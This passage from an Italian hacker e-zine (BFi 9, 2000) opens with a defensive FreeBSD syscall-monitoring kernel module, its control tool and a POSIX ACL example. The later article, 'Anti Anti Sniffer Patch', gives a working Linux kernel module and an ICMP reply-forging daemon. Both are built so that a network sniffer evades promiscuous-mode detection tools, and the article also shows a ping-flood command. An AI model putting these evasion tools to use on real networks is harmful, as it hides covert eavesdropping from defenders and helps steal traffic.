LIST_FOREACH(p1, &allproc, p_list) { if(!strcmp(p1->p_comm, MOUNTD_NAME)) mountd_id = p1->p_pid; } if(p->p_pid != mountd_id) { #endif if(s_check_entry(p, MOUNT) != -1) { log_proc(p, "mount()"); log(LOG_INFO, "mount(type=%s, dir=%s, flags=%x)\n", uap->type, uap->path, uap->flags); } #ifdef SKIP_MOUNTD } #endif return(mount(p, uap)); } /* * This function doesn't use SYS_BLOCK.... */ static int s_open(struct proc *p, register struct open_args *uap) { #ifdef SKIP_DEVICE if(!strstr(uap->path, "/dev/")) { #endif if(s_check_entry(p, OPEN) != -1) { log_proc(p, "open()"); log(LOG_INFO, "open(path=%s, flags=%x, mode=%x)\n", uap->path, uap->flags, uap->mode); } #ifdef SKIP_DEVICE } #endif return(open(p, uap)); } #ifdef SKIP_DEVICE static char * strstr(s, find) register char *s, *find; { register char c, sc; register size_t len; if ((c = *find++) != 0) { len = strlen(find); do { do { if ((sc = *s++) == 0) return (NULL); } while (sc != c); } while (strncmp(s, find, len) != 0); s--; } return ((char *)s); } #endif static int s_link(struct proc *p, struct link_args *uap) { register int val; if((val = s_check_entry(p, LINK)) != -1) { log_proc(p, "link()"); log(LOG_INFO, "link(path=%s, link=%s)\n", uap->path, uap->link); if(val == 1) { log(LOG_INFO, "link prohibited!\n"); return EPERM; } } return(link(p, uap)); } static int s_mkfifo(struct proc *p, struct mkfifo_args *uap) { register int val; if((val = s_check_entry(p, MKFIFO)) != -1) { log_proc(p, "mkfifo()"); log(LOG_INFO, "mkfifo(path=%s, mode=%d)\n", uap->path, uap->mode); if(val == 1) { log(LOG_INFO, "mkfifo prohibited!\n"); return EPERM; } } return(mkfifo(p, uap)); } static int s_seteuid(struct proc *p, struct seteuid_args *uap) { register int val; if((val = s_check_entry(p, SETEUID)) != -1) { log_proc(p, "seteuid()"); log(LOG_INFO, "seteuid(%d)\n", uap->euid); if(val == 1) { log(LOG_INFO, "seteuid prohibited!\n"); return EPERM; } } return(seteuid(p, uap)); } static int s_socket(struct proc *p, struct socket_args *uap) { register int val; if((val = s_check_entry(p, SOCKET)) != -1) { log_proc(p, "socket()"); log(LOG_INFO, "socket(%d, %d, %d)\n", uap->domain, uap->type, uap->protocol); if(val == 1) { log(LOG_INFO, "socket prohibited!\n"); return EPERM; } } return(socket(p, uap)); } #if defined(MON_PROTOCOL) && (__FreeBSD_version < 400000) static int s_udp_attach(struct socket *so, int proto, struct proc *p) { register int val; if((val = s_check_entry(p, UDP)) != -1) { log_proc(p, "udp_attach()"); if(val == 1) { log(LOG_INFO, "udp prohibited!\n"); return EPERM; } } return((*old_udp_attach)(so, proto, p)); } /* * rip_attach() requires super user... * there is no sense to block it... it is only logged */ static u_long rip_sendspace = 8192; /* RIPSNDQ */ static u_long rip_recvspace = 8192; /* RIPRCVQ */ extern struct inpcbinfo ripcbinfo; static int s_rip_attach(struct socket *so, int proto, struct proc *p) { struct inpcb *inp; int error, s; inp = sotoinpcb(so); if (inp) panic("rip_attach"); if (p && (error = suser(p->p_ucred, &p->p_acflag)) != 0) return error; if(s_check_entry(p, RIP) != -1) log_proc(p, "rip_attach()"); s = splnet(); error = in_pcballoc(so, &ripcbinfo, p); splx(s); if (error) return error; error = soreserve(so, rip_sendspace, rip_recvspace); if (error) return error; inp = (struct inpcb *)so->so_pcb; inp->inp_ip_p = proto; return 0; } #endif /* __FreeBSD_version */ /* * Further syscalls */ static int s_unlink(struct proc *p, register struct unlink_args *uap) { register int val; if((val = s_check_entry(p, UNLINK)) != -1) { log_proc(p, "unlink()"); log(LOG_INFO, "unlink(path=%s)\n", uap->path); if(val == 1) { log(LOG_INFO, "unlink prohibited!\n"); return EPERM; } } return(unlink(p, uap)); } /* * Only log is allowed for these syscalls */ static int s_execve(struct proc *p, register struct execve_args *uap) { if(s_check_entry(p, EXECVE) != -1) { log_proc(p, "execve()"); log(LOG_INFO, "execve(name=%s)\n", uap->fname); } return(execve(p, uap)); } static int s_setuid(struct proc *p, register struct setuid_args *uap) { if(s_check_entry(p, SETUID) != -1) { log_proc(p, "setuid()"); log(LOG_INFO, "setuid(name=%d)\n", uap->uid); } return(setuid(p, uap)); } static int s_setgid(struct proc *p, register struct setgid_args *uap) { if(s_check_entry(p, SETGID) != -1) { log_proc(p, "setgid()"); log(LOG_INFO, "setgid(name=%d)\n", uap->gid); } return(setgid(p, uap)); } /* * Log and block */ static int s_chmod(struct proc *p, register struct chmod_args *uap) { register int val; if((val = s_check_entry(p, CHMOD)) != -1) { log_proc(p, "chmod()"); log(LOG_INFO, "chmod(path=%s mode=%o)\n", uap->path, uap->mode); if(val == 1) { log(LOG_INFO, "chmod prohibited!\n"); return EPERM; } } return(chmod(p, uap)); } static int s_chown(struct proc *p, register struct chown_args *uap) { register int val; if((val = s_check_entry(p, CHOWN)) != -1) { log_proc(p, "chown()"); log(LOG_INFO, "chown(path=%s uid=%d gid=%d)\n", uap->path, uap->uid, uap->gid); if(val == 1) { log(LOG_INFO, "chown prohibited!\n"); return EPERM; } } return(chown(p, uap)); } <-X-> <-| fbsd_security/smonitor/Makefile crc32: 1294972129 |-> # SoftProject 2000 - Digital Sekurity for Y2k # Sikurezza.org - Italian Security MailingList # # COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by # Poul-Henning Kamp but you can give me in return a coffee. # # Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #3: Thu Mar i386 # < pigpen@s0ftpj.org > .PATH: /sys/kern SRCS = sysmon.c CFLAGS+= -I/sys -Wall KMOD = sysmon NOMAN = t KLDMOD = t KLDLOAD = /sbin/kldload KLDUNLOAD = /sbin/kldunload CLEANFILES+= ${KMOD} load: ${KLDLOAD} -v ./${KMOD} unload: ${KLDUNLOAD} -v -n ${KMOD} .include <-X-> <-| fbsd_security/smonitor/sysmon.h crc32: 3968092835 |-> /* * Name: sysmon.h * Date: Sun Apr 16 13:10:07 2000 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ] * * SoftProject 2000 - Digital Sekurity for Y2k * Sikurezza.org - Italian Security MailingList * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #5: Mon Mar i386 */ #if defined(KERNEL) || defined(_KERNEL) /* * KERNEL STRUCTURES & FLAGS */ struct s_syscall { LIST_ENTRY(s_syscall) sys_chain; /* syscall entry */ int sys_call; /* syscall type */ int sys_flags; /* syscall flags */ }; struct s_rule { uid_t s_id; int s_flags; LIST_ENTRY(s_rule) s_chain; LIST_HEAD(,s_syscall) sys_head; }; #else # include #endif #define SYS_LOG 1 #define SYS_BLOCK 2 /* s_flags */ #define S_UID 1 #define S_GID 2 /* * Syscall type (used for n_call and for s_flags & sys_call) */ #define OPEN 1 #define LINK 2 #define MKFIFO 3 #define MOUNT 4 #define SETSOCKOPT 5 #define SETEUID 6 #define SOCKET 7 #define UNLINK 8 #define EXECVE 9 #define SETUID 10 #define SETGID 11 #define CHMOD 12 #define CHOWN 13 #if defined(MON_PROTOCOL) && (__FreeBSD_version<400000) # define RIP 14 # define UDP 15 # define LAST_CALL 15 #else # define LAST_CALL 13 #endif /* * Structure used to pass actions from user-level to kernel-level */ struct s_check { int id; /* uid or gid */ int flags; /* s_uid or s_gid */ int n_call; /* OPEN, LINK ... */ int n_flags; /* log, block */ int action; /* ADD_RULE, DEL_RULE.. */ }; /* id */ #define ADD_RULE 1 #define DEL_RULE 2 #define LIST_RULE 3 <-X-> <-| fbsd_security/smonitor/smon.c crc32: 1835593566 |-> /* * Name: SySMon * Date: Thu Apr 20 15:12:01 2000 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ] * * SoftProject 2000 - Digital Sekurity for Y2k * Sikurezza.org - Italian Security MailingList * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #5: Mon Mar i386 */ #include #include #include #include #include #include #include #include "sysmon.h" void usage __P((void)); void add_rule __P((void)); void del_rule __P((void)); void list_rule __P((void)); int findbyname __P((char *)); void printcalls __P((void)); void menu __P((void)); #define clear printf("\033[2J\033[1;1H") void menu(void) { printf("\n\n--------------------\n" "-- SySMon 1.0Beta --\n" "--------------------\n\n\n"); printf("1) Add rule\n"); printf("2) Del rule\n"); printf("3) List rules\n"); printf("4) Quit\n\n"); printf("sysmon> "); } int main(void) { int choice; clear; do { menu(); scanf("%d", &choice); switch(choice) { case 1: add_rule(); break; case 2: del_rule(); break; case 3: list_rule(); break; } } while(choice!=4); return 0; } struct s_sysc { char *name; int position; } scall[] = { { "open", OPEN }, { "link", LINK }, { "mkfifo", MKFIFO }, { "mount", MOUNT }, { "setsockopt", SETSOCKOPT }, { "seteuid", SETEUID }, { "socket", SOCKET }, #if (__FreeBSD_version < 400000) { "raw", RIP }, { "udp", UDP }, #endif { "unlink", UNLINK }, { "execve", EXECVE }, { "setuid", SETUID }, { "setgid", SETGID }, { "chmod", CHMOD }, { "chown", CHOWN } }; void printcalls(void) { int i; for(i=0; i< (sizeof(scall) / sizeof(struct s_sysc)); i++) printf("%s ", scall[i].name); } int findbyname(char *name) { int i; for(i = 0; i < ( sizeof(scall) / sizeof(struct s_sysc)); i++) if(!strcmp(name, scall[i].name)) return (scall[i].position); return (-1); } void add_rule(void) { int syscall_num; struct module_stat stat; struct s_check r; char choice[10]; int error; bzero(&r, sizeof r); bzero(&choice, sizeof choice); while(strcmp(choice,"uid") && strcmp(choice, "gid")) { clear; printf("uid or gid ? -> "); scanf("%s", choice); } if(!strcmp(choice, "uid")) { r.flags = S_UID; printf("Uid= "); }else{ r.flags = S_GID; printf("Gid= "); } scanf("%d", &r.id); while(strcmp(choice, "ok")) { int index; printf("System calls:\n"); printcalls(); printf("\n\ncall (ok to exit) > "); scanf("%s", choice); if(!strcmp(choice, "ok")) break; if((index = findbyname(choice)) == -1) printf("Syscall %s is not available\n", choice); else { char action[10]; bzero(action, sizeof action); r.n_call = index; while(strcmp(action,"block") && strcmp(action,"log")){ printf("action (block, log): "); scanf("%s", action); } if(!strcmp(action, "block")) r.n_flags = SYS_BLOCK; else r.n_flags = SYS_LOG; r.action = ADD_RULE; stat.version = sizeof(stat); modstat(modfind("S_Call"), &stat); syscall_num = stat.data.intval; if((error = syscall(syscall_num, &r))) perror("syscall(ADD)"); } } } void list_rule(void) { struct s_check r; struct module_stat stat; int error; int syscall_num; bzero(&r, sizeof r); r.action = LIST_RULE; stat.version = sizeof stat; modstat(modfind("S_Call"), &stat); syscall_num = stat.data.intval; if((error = syscall(syscall_num, &r))) perror("syscall(LIST)"); } void del_rule(void) { struct s_check r; struct module_stat stat; int syscall_num; int error; char choice[10]; bzero(&r, sizeof r); bzero(choice, sizeof choice); while(strcmp(choice, "uid") && strcmp(choice, "gid")) { clear; printf("uid or gid ? -> "); scanf("%s", choice); } if(!strcmp(choice, "uid")) { r.flags = S_UID; printf("Uid-> "); } else { r.flags = S_GID; printf("Gid-> "); } scanf("%d", &r.id); r.action = DEL_RULE; bzero(choice, sizeof choice); while(strcmp(choice,"ok") && strcmp(choice,"all")) { int index; printf("System calls:\n"); printcalls(); printf("\n\ncall (ok to exit, all for global selection) > "); scanf("%s", choice); if(!strcmp(choice, "ok") || !strcmp(choice, "all")) break; if((index = findbyname(choice)) == -1) printf("Syscall %s is not available\n", choice); else { r.n_call = index; stat.version = sizeof stat; modstat(modfind("S_Call"), &stat); syscall_num = stat.data.intval; if((error = syscall(syscall_num, &r))) perror("syscall(DEL)"); } } if(!strcmp(choice, "all")) { r.n_call = 0; stat.version = sizeof stat; modstat(modfind("S_Call"), &stat); syscall_num = stat.data.intval; if((error = syscall(syscall_num, &r))) perror("syscall(DEL)"); } } <-X-> - - - [ L E A C L D i F R E E B S D 4 . X SMonitor e' un supporto che puo' andare bene per le versioni 3.4, ma anche FreeBSD si sta orientando verso le POSIX.1e attraverso le acl(3) in fase di sviluppo dalla versione 4.0 di FreeBSD. Queste introducono il concetto di Capabilities, file system ACLs, Information Flow Labels, Mandatory Access Control e Auditing, molto di piu' di quello che possa fare smonitor o spy. Nel momento in cui sto scrivendo soltanto l'ACL e' stata fornita nel kernel (manca ancora pero' il vero e proprio utilizzo) mentre l'Auditing e il Mandatory Access Control sono in fase sperimentale.. POSIX.1e ACL (Access Control Lists) Le ACL permettono agli utenti di specificare gli accessi ai file garantendo dei diritti aggiuntivi diversi da quelli dell'owner del file. In poche parole questo vuole dire che si possono gestire i propri file senza l'intervento dell'admin che aggiunga nuovi gruppi. La struttura base per le acl e' la seguente: struct acl { int acl_cnt; struct acl_entry acl_entry[ACL_MAX_ENTRIES]; }; dove: o acl_cnt e' il numero di entry o acl_entry[x] sono le entry caratterizzate dalla seguente struttura: struct acl_entry { acl_tag_t ae_tag; uid_t ae_id; acl_perm_t ae_perm; }; I valori validi per ae_tag sono i seguenti: #define ACL_USER_OBJ 0x00000001 #define ACL_USER 0x00000002 #define ACL_GROUP_OBJ 0x00000004 #define ACL_GROUP 0x00000008 #define ACL_MASK 0x00000010 #define ACL_OTHER 0x00000020 #define ACL_OTHER_OBJ ACL_OTHER Quelli per ae_perm: #define ACL_PERM_EXEC 0x0001 #define ACL_PERM_WRITE 0x0002 #define ACL_PERM_READ 0x0004 #define ACL_PERM_NONE 0x0000 #define ACL_PERM_BITS (ACL_PERM_EXEC | ACL_PERM_WRITE | ACL_PERM_READ) #define ACL_POSIX1E_BITS (ACL_PERM_EXEC | ACL_PERM_WRITE | ACL_PERM_READ) La regola viene passata per esempio attraverso la acl_set_file(3). Ecco un sorgente compilabile con: cc ex_setacl.c -lposix1e <-| fbsd_security/acl/ex_setacl.c crc32: 3437218918 |-> /* * * Esempio di utilizzo delle POSIX extensions di FreeBSD * * Per ulteriori informazioni sul supporto acl: * http://www.watson.org/fbsd-hardening/posix1e/ * */ #include #include #include int main(int argc, char **argv) { acl_t acl; if(argc != 2) { printf("%s filename\n", argv[0]); exit(0); } /* * inizializiamo lo spazio per una entry */ if((acl = acl_init(1)) == (acl_t) NULL) { perror("acl_init()"); exit(0); } /* * dichiariamo di voler inserire una sola entry */ acl->acl_cnt = 1; /* * inseriamo la regola */ acl->acl_entry[0].ae_tag = ACL_USER_OBJ; acl->acl_entry[0].ae_perm = ACL_PERM_WRITE | ACL_PERM_READ; acl->acl_entry[0].ae_id = 1003; /* * settiamo la regola sul file */ if(acl_set_file(argv[1], ACL_TYPE_ACCESS, acl) == -1) { perror("acl_set_file()"); exit(0); } return 0; } <-X-> Se guardiamo le funzioni che passano le entry: - acl_set_file() (vuole il pathname) - acl_set_fd() (vuole il descrittore) - acl_set_fd_np() (vuole il descrittore, a differenza di quella sopra non e' in standard POSIX.1e e permette altre operazioni oltre alla ACL_TYPE_ACCESS ; guardate /sys/sys/acl.h per vedere quali sono) Ci sono poi le corrispettive acl_get_file(), acl_get_fd() e acl_get_fd_np(). - - - [ L i N K S Securelevel in FreeBSD http://www.watson.org/fbsd-hardening/securelevel.html Implementazione delle security extensions di POSIX: POSIX.1e - General Information http://www.guug.de/~winni/posix.1e/ POSIX.1e - FreeBSD implementation http://www.watson.org/fbsd_hardening/posix1e/ ============================================================================== ---------------------------------[ EOF 12/21 ]-------------------------------- ============================================================================== BFi-9/BFi09-140100644000000000000000000004101207204353043011337 0ustar rootroot============================================================================== ------------[ BFi numero 9, anno 3 - 03/11/2000 - file 14 di 21 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ ANTi ANTi SNiFFER PATCH -----[ vecna Ovvero: ogni sentinella ha la sua grignetta... Nel corso degli ultimi tempi si sono fatti vari studi (in particolare da parte dei l0pth) su come individuare sniffer nelle lan, con particolari tecniche chiamate "remote promiscuos detection" inglese penoso permettendo. Queste tecnive vengono spiegate in loro documenti e utilizzate in software anti sniffer commerciale e non; le tecniche sono brevemente spiegate anche nell'articolo dello Smilzo e di Noxious sotto threads di BFi8. In questo articolo trovate le patch da applicare a sniffer e kernel per poter aggirare questi anti sniffer: da qui il nome della serie di codice "anti anti sniffer patch". In questo articolo non voglio illustare tecniche per avere uno sniffer invisibile... basterebbe un cavo unidirezionale o sniffare con una scheda di rete applicando patch al kernel per bloccare i (pochi) probe che possono essere fatti e si avrebbe uno sniffer invisibile. Questo articolo parla di come poter patchare uno sniffer per essere reso invisibile ai piu` conosciuti anti sniffer (tutti fatti seguendo gli studi dei l0pth). 1 -) MAC TEST La tecnica piu` vecchia e` quella di mandare dei pacchetti qualunque ad un ip giusto, ma al mac sbagliato: se la scheda e` in promiscuo becca il pacchetto e risponde. Queste righe sono il risultato di un paio di printk in fase di test: IP dest [ff:0:0:0:0:0] src [0:80:48:8d:7:dc] true [0:a0:24:55:82:91] IP dest [ff:0:0:0:0:0] src [0:80:48:8d:7:dc] true [0:a0:24:55:82:91] IP dest [0:a0:24:55:82:91] src [0:80:48:8d:7:dc] true [0:a0:24:55:82:91] IP dest [0:a0:24:55:82:91] src [0:80:48:8d:7:dc] true [0:a0:24:55:82:91] dove si vede chiaramente come un pacchetto mandato da un anti sniffer abbia un mac destinazione differente da quello reale. Il problema e` nel kernel che risponde senza fare il check del mac destinazione; per patchare questa feature basta un LKM che aggiunga una funzione a quella normalmente puntata dalla struttura packet_type.func come visto negli LKM di pIG su BFi7 o in quelli di kossak / lifeline su Phrack 55. Il problema e` che dopo aver fatto il check del vero mac (che abbiamo quando inizializiamo il nostro device) e il mac destinazione (l'header a datalink layer lo troviamo nella sk_buff corrente che e` un argomento passato alla funzione del nosto modulo) non possiamo decidere li` la sorte del pacchetto, non possiamo fermarlo, ignorarlo, rejetarlo o altro (in net/code/dev.c vedete che la sk_buff prima di essere passata alla nostra funzione viene clonata con una funzione apposita)... Allora, per evitare che il nostro kernel risponda, ho sporcato l'iphdr o l'arphdr con valori assurdi in modo che il kernel riceva un pacchetto malformato e non risponda. Ho parlato di arphdr perche` il test viene fatto principalmente con 2 tipi di pacchetti, icmp echo request (ping) in modo che se vediamo l'host rispondere al ping sappiamo che e` sicuramente in promiscuo, o arp request, in modo che se la nostra scheda di rete risponde associando il nostro ip a un mac address significa che ha ricevuto il pacchetto e che e` sicuramente in modalita` promiscua (per vedere un programma che faccia entrambi i test c'e` anche ProScan di FuSyS che trovate su BFi5). Per questo motivo, le funzioni che aggiungo sono 2, una nel caso il tipo di pacchetti sia ETH_P_IP (in modo che se il check sul mac risulti vero venga azzerato ip.check e ip.tot_len, checksum e lunghezza del pacchetto) e l'altra nel caso sia ETH_P_ARP (qui viene azzerato arphdr.ar_hrd (format of hardware address) e arphdr.ar_op (ARP opcode) rendendo la risposta impossibile). Ecco l'LKM aasp_lkmachk.c: <-| aasniff/asp_lkmachk.c |-> /* # gcc -O6 -c aasp_lkmachk.c -I/usr/src/linux/include # insmod aasp_lkmachk.o device=eth0 # rmmod aasp_lkmachk Anti Anti Sniffer Patch (by vecna@s0ftpj.org) - MAC checker module */ #define MODULE #define __KERNEL__ #include #include #include #include /* on kernel 2.2.16 I've find some problem and for fix I've cut inclusion of generic.h */ #include #include #include #include #include #include #include #include #include #include #include #include #define r_mac sk->mac.ethernet->h_dest /* received mac */ #define t_mac true->dev_addr /* true mac */ char *device; MODULE_PARM(device, "s"); struct device *true; struct packet_type aasp_ip, aasp_arp; int chk_mac_arp(struct sk_buff *sk, struct device *dev, struct packet_type *pt) { if( r_mac[0] ==r_mac[1] ==r_mac[2] ==r_mac[3] ==r_mac[4] ==r_mac[5] ==0xff) /* mac broadcast */ goto end; if( (r_mac[0] !=t_mac[0]) || (r_mac[1] !=t_mac[1]) || (r_mac[2] !=t_mac[2]) || (r_mac[3] !=t_mac[3]) || (r_mac[4] !=t_mac[4]) || (r_mac[5] !=t_mac[5]) ) { /* ARP mac spoof detected */ sk->nh.arph->ar_hrd = 0; sk->nh.arph->ar_pro = 0; sk->nh.arph->ar_op = 0; goto end; } end: kfree_skb(sk); return(0); } int chk_mac_ip(struct sk_buff *sk, struct device *dev, struct packet_type *pt) { if( r_mac[0] ==r_mac[1] ==r_mac[2] ==r_mac[3] ==r_mac[4] ==r_mac[5] ==0xff) /* mac broadcast*/ goto end; if( (r_mac[0] !=t_mac[0]) || (r_mac[1] !=t_mac[1]) || (r_mac[2] !=t_mac[2]) || (r_mac[3] !=t_mac[3]) || (r_mac[4] !=t_mac[4]) || (r_mac[5] !=t_mac[5]) ) { /* IP check - anti spoof detect! */ sk->nh.iph->tot_len = 0; sk->nh.iph->check = 0; goto end; } end: kfree_skb(sk); return(0); } int init_module(void) { if (device) { true =dev_get(device); if (true ==NULL) { printk("Did not find device %s!\n", device); return -EINVAL; } } else { printk("Usage: insmod aasp_lkmachk.o device=device name \n\n"); return -ENODEV; } printk("Mac checker module run on %s - by vecna@s0ftpj.org\n",device); printk("Full codes of Anti Anti Sniffer Patch can be" " downloadated at www.s0ftpj.org\n"); aasp_ip.dev = true; aasp_ip.type = htons(ETH_P_IP); aasp_ip.func = chk_mac_ip; aasp_arp.dev = true; aasp_arp.type = htons(ETH_P_ARP); aasp_arp.func = chk_mac_arp; dev_add_pack(&aasp_ip); dev_add_pack(&aasp_arp); return(0); } void cleanup_module(void) { dev_remove_pack(&aasp_ip); dev_remove_pack(&aasp_arp); printk("Anti Anti Sniffer Patch - MAC checker module unload\n"); } <-X-> Il primo check sul pacchetto serve a vedere se e` diretto a ff:ff:ff:ff:ff:ff che si verifica quando una nuova scheda di rete si mette in rete ed e` l'unico caso naturale in cui si accetta un pacchetto. Ogni pacchetto pero` e` giusto che sia ricevuto se ha come mac destinazione ff:ff:ff:ff:ff:ff, e non solo da schede in promiscuo (e` l'equivalente dell'ip di broadcast), quindi questo lkm non fa' niente di strano o almeno non lo fa' sembrare... nemmeno se si facessero test con mac broadcast. 2 -) DNS REPLY CHECK Il terzo test e` il DNS check. Normalmente uno sniffer usa la gethostbyname() per risolvere un ip che ha sniffato prima di loggarlo o prima di mostrarlo; questa funzione controlla prima in /etc/hosts se c'e` un riferimento ip-hostname e se non c'e` inizia con la richiesta di resolv al dns. Questo check funziona cosi`: si inviano pacchetti con ip inesistente nella lan, es: 123.123.123.123, si sniffa nella lan e si aspetta che qualche computer mandi una richiesta di resolv di 123.123.123.123, quella macchina ha beccato il pacchetto dell'antisniffer e quindi sta` sniffando :) Come sistema piu` semplice c'e` quello di levare le gethostbyname() e limitarsi a stampare gli ip in formato classico con inet_ntoa, MA e` sempre bello avere i resolv e c'e` anche una soluzione per averli :)) Non l'ho codato perke` mi e` venuto un altro progetto in mente. ogni connessione normalmente ha un resolv; se io dalla mia macchina innocente telnetto un host sicuramente effettuero` una gethostbyname(), faro` una richiesta di resolv al mio dns e lui mi rispondera` (che lui l'abbia in cache o che lo risolva non ha importanza): allora a me che sto sniffando, quando vedo passare un pacchetto UDP mi basta approfondire i controlli su di lui e verificare se si tratta di un resolv dns. Per conformazione del protocollo, le risposte ai resolv contengono sia l'hostname che l'ip risolto: in questo modo basta approfondire i check sui pacchetti dns e, nel caso si trovi un resolv, memorizzarselo. In questo modo anziche` usare la gethostbyname() bastera` leggere nel buffer dove si e` memorizzato (basta un array di stringhe per i resolv, ordinati come gli ip in un array di u_long per poter fare un semlice confronto). 3 -) NETWORK LATENCY TEST Il quarto sistema e` il piu` bastardo e praticamente anche il piu` difficile da battere, ma nel modo in cui ora e` fatto non da` nemmeno una grande affidabilita` nel test. Sentinel, attualmente alla versione 0.8, non lo implementa ancora, mentre lo implementa l'anti sniff dei l0pth (anti_sniff-x.x.*) in packetstorm -> antisniff. Funziona cosi`: la macchina dove gira l'antisniff inizia a pingare una macchina nella rete e, dopo aver calcolato la media delle risposte, inizia un flood nella rete in modo che se la macchina e` in promiscuo il suo tempo di risposta ai ping diminuisca notevolmente. Quindi se la macchina e` in promiscuo si nota subito dalla differenza di risposta. Ci sono problemi in questo tipo di test? Parecchi direi... Quando si flooda una rete non solo le macchine in promiscuo diminuiscono il tempo di risposta, ma tutte le macchine un po` rallentano, ma questo e` un dettaglio di poco conto: il tempo di risposta aumentera` di poco e la differenza sara` accettabile. Un altro problema di questo test sta nel fatto che sia la macchina in promiscuo che la macchina di test hanno lo stesso traffico in quel momento... entrambi hanno un ping al secondo a cui badare, ed entrambi hanno un flood sulla scheda di rete, una che lo fa' per destinazioni random o meno e l'altra che lo sniffa. Il tempo di risposta dipende anche da: - la velocita` della scheda di rete - i driver della scheda di rete - la CPU della macchina - il sistema operativo della macchina - i programmi di rete a livello raw (iplogd & co.) - il traffico di rete che ha quella macchina - il carico di lavoro che ha la macchina... - altri? o non sono abbastanza :) ? Ho pensato di illudere questo test facendo cosi`: con un programma che usi le libvsk e che sta li` in background sulla macchina, prendo tutti i pacchetti icmp echo request, aspetto un pochino e forgio la risposta indipendentemente dal kernel. In questo modo tutte le mie risposte saranno ritardate, quando iniziera` il flood il confronto sara` calcolato in relazione alla risposta gia` ritardata e aumentera` di molto poco, basta impostare come ritardo voluto tra i 50.000 e i 100.000 ms (un ping potrebbe far sembrare che la macchina ha un tempo di risposta elevato, ma d'altro canto puo` avere un grosso load average o del traffico di rete pesante e l'anti sniff non lo segnala). Per usare questo codice dovete avere le libvsk: trovate i file e l'articolo relativi in questo numero della rivista (BFi09-10). <-| aasniff/fl_aasp.c |-> /* Fucker Latency test for Anti Anti Sniffer Patch */ #include "libvsk.h" /* www.s0ftpj.org for more info */ #include extern int errno; #define fatal(M) { \ perror(M); \ exit(0); \ } #define IPSIZE sizeof(struct iphdr) #define ICMPSIZE sizeof(struct icmphdr) #define IIPKTSIZE sizeof(struct iipkt) int check_dup(struct iipkt *); void build_reply(struct iipkt *, struct sockaddr_in *, struct iipkt *); unsigned short ip_s(unsigned short *, int); int main(int argc, char **argv) { int dlsfd, offset, forward, hdrincl =1, pkt_info[4], x; char ipdst[18], *rcvd =malloc(IIPKTSIZE); struct ifreq ifr; struct in_addr in; struct iipkt *reply =malloc(IIPKTSIZE); printf("\t Anti Anti Sniffer Patch for elude latency test\n"); printf("\t by vecna - vecna@s0ftpj.org - www.s0ftpj.org\n\n"); if(argc != 3) { printf( " usage %s interface fakedelay\n\n", argv[0]); exit(0); } printf(" running on background\n"); if(fork()) exit(0); pkt_info[0] =pkt_info[1] =ICMP_ECHO; pkt_info[2] =0; pkt_info[3] =0xFFFF; x =socket(PF_INET, SOCK_DGRAM, IPPROTO_IP); strncpy(ifr.ifr_name, argv[1], sizeof(ifr.ifr_name)); if(ioctl (x, SIOCGIFADDR, &ifr) < 0) fatal("unable to look local address"); memcpy((void *)&in, (void *)&ifr.ifr_addr.sa_data +2, 4); strcpy(ipdst, (char *)inet_ntoa(in)); close(x); dlsfd =set_vsk_param(NULL, ipdst, pkt_info, argv[1], IPPROTO_ICMP, IO_IN, IP_FW_INSERT, 0, 0); if(dlsfd < 0) fatal("set_vsk: IP_FW_INSERT"); if((offset =get_offset(dlsfd, argv[1])) <0) fatal("get device offset"); if((forward = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) fatal("forward socket - SOCK_RAW"); if((x = setsockopt(forward, IPPROTO_IP, IP_HDRINCL, &hdrincl, sizeof(hdrincl))) == -1) fatal("setsockopt - IP_HDRINCL"); while(1) { struct iipkt *packet; static int last_id; read(dlsfd, rcvd, IIPKTSIZE); (char *)packet = rcvd + offset; if(check_dup(packet)) continue; if(check_packet(packet, IPPROTO_ICMP)) { struct sockaddr_in sin; build_reply(packet, &sin, reply); usleep(atoi(argv[2])); /* poll & select it's more intelligent... mah... maybe */ x =sendto(forward, (char *)reply, ntohs(reply->ip.tot_len), 0, (struct sockaddr *)&sin, sizeof(struct sockaddr) ); if(x < 0) fatal("sendto on forwarding packet"); } memset(packet, 0, IIPKTSIZE); } free(rcvd); /* never here */ } void build_reply(struct iipkt *packet, struct sockaddr_in *sin, struct iipkt *reply) { memcpy((void *)reply, (void *)packet, IIPKTSIZE); reply->ip.id =getpid() & 0xffff ^ packet->ip.id; reply->ip.saddr =packet->ip.daddr; reply->ip.daddr =packet->ip.saddr; reply->ip.check =ip_s((u_short *)&reply->ip, IPSIZE); reply->icmp.type =ICMP_ECHOREPLY; reply->icmp.checksum =0x0000; reply->icmp.checksum =ip_s((u_short *)&reply->icmp, ntohs(packet->ip.tot_len) - IPSIZE ); /* setting sockaddr_in stuctures */ sin->sin_port =htons(0); sin->sin_family = AF_INET; sin->sin_addr.s_addr = reply->ip.daddr; } int check_dup(struct iipkt *packet) { static int last_id; int id =htons(packet->ip.id); if(id ==htons(last_id)) return 1; last_id =packet->ip.id; return 0; } u_short ip_s(u_short *ptr, int nbytes) { register long sum = 0; u_short oddbyte; register u_short answer; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *) &oddbyte) = *(u_char *)ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } <-X-> 4 -) LATENCY TEST INFALLIBILE La tecnica del latency test e` cmq la piu` intelligente e per farla con precisione sarebbe necessario che: 1) il flood non deve partire dalla stessa macchina che fa` il test, ma da un altro sistema... fare un anti sniff distribuito e` una follia, ma far partire un po` di "ping -s 2000 -f ip.dellarete.non.utilizzato &" da un'altra macchina non e` difficile. 2) per il test sulla latenza non va usato l'icmp echo reply, va bene qualunque forma di statistica, ad esempio dei pacchetti tcp con solo flag FIN inviati alla porta 0 di un macchina: il kernel rispondera` con un RST+ACK e con uno strumento come hping o hping2 si potra' notare immediatamente una macchina che ha un ritardo di risposta troppo maggiore del prevedibile a causa della rete 